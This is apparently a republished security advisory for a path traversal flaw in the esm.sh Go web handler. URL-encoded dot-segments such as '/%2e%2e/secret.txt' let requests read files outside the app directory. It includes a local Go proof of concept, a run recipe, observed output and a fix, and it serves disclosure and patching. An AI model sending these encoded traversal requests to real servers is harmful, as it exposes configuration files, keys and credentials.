
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 0.2.0
Patched in 0.2.0
Details
The documented web.NewHandler static file server can read files outside Config.AppDir when the request path contains URL-encoded dot-segments such as %2e%2e. Go's ServeMux redirects plain /../ paths, but it passes encoded dot-segments to the handler after decoding r.URL.Path. The handler then calls filepath.Join(s.config.AppDir, r.URL.Path) without checking that the result remains under AppDir, allowing unauthenticated arbitrary file reads with the server process privileges.
web/README.md:34-40 documents a network-facing setup:
http.Handle("GET /", web.NewHandler(web.Config{
AppDir: "/path/to/webapp",
Fallback: "/index.html",
Dev: false,
}))
log.Fatal(http.ListenAndServe(":8080", nil))
In web/handler.go:62-75, the handler takes r.URL.Path and joins it directly with s.config.AppDir:
pathname := r.URL.Path
filename := filepath.Join(s.config.AppDir, pathname)
fi, err := os.Lstat(filename)
Later the same resolved filename is opened and copied to the response in web/handler.go:150-166 for non-HTML/static files. There is no filepath.IsLocal, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.
A plain /../secret.txt path is redirected by Go's ServeMux, but an encoded path such as /%2e%2e/secret.txt is decoded into r.URL.Path == "/../secret.txt" and reaches the handler. On Linux, filepath.Join("/tmp/root/app", "/../secret.txt") resolves to /tmp/root/secret.txt, outside the configured app directory.
Source-to-sink chain:
Unauthenticated HTTP request path containing URL-encoded dot-segments
-> net/http decodes path into r.URL.Path
-> documented ServeMux setup passes encoded dot-segment path to web.NewHandler
-> web/handler.go joins Config.AppDir with r.URL.Path
-> os.Lstat/os.Open operate on the escaped path
-> io.Copy returns file contents to the attacker
False-positive checks performed:
http.ServeMux, but encoded dot-segments are not blocked and reach the handler.http.Handle("GET /", web.NewHandler(...)) setup, not a custom bypass of ServeMux./secret.txt does not read the outside file; the disclosure requires encoded traversal segments.Dev/HMR; it reproduces with Dev: false.Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches os.Open, file disclosure was reproduced locally, and no root containment mitigation is present.
This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded .. path segments.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"os"
"strings"
"github.com/esm-dev/esm.sh/web"
)
func main() {
mux := http.NewServeMux()
mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))
for _, target := range []string{
"http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt",
"http://example/secret.txt",
} {
rr := httptest.NewRecorder()
req := httptest.NewRequest("GET", target, nil)
mux.ServeHTTP(rr, req)
fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n",
target,
rr.Code,
rr.Header().Get("Location"),
strings.Contains(rr.Body.String(), "ancestor-secret-marker"),
rr.Body.String(),
)
}
}
Maintainer-runnable clean-checkout recipe:
tmp=$(mktemp -d)
mkdir -p "$tmp/root/a/b/app"
printf 'ancestor-secret-marker' > "$tmp/root/secret.txt"
printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html"
cat > "$tmp/poc.go" <<'EOF'
[place the PoC above here]
EOF
go run "$tmp/poc.go" "$tmp/root/a/b/app"
rm -rf "$tmp"
Observed vulnerable output in this environment:
http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"
Final re-check after drafting reproduced the same output:
http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"
Additional parser/control evidence observed locally:
http://example/../secret.txt => status=307 loc="/secret.txt"
handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt"
http://example/%2e%2e/secret.txt => status=204 loc=""
http://example/a/../../secret.txt => status=307 loc="/secret.txt"
This confirms that the documented ServeMux setup redirects plain traversal paths but lets encoded dot-segments reach the handler.
An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.
The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.
Normalize request paths into a cleaned relative path before joining them with AppDir, and reject any path that is not local. A robust pattern is:
path.Clean("/" + r.URL.EscapedPath()) or an equivalent URL-path canonicalization step,filepath.IsLocal,AppDir,AppDir should not escape the app root.Add regression tests for /%2e%2e/secret.txt, multi-level encoded traversal, plain /../ behavior, and normal in-app file serving.
EPSS, exploit probability
Low0.72%
estimated chance of real-world exploitation in the next 30 days, higher than 54.1% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.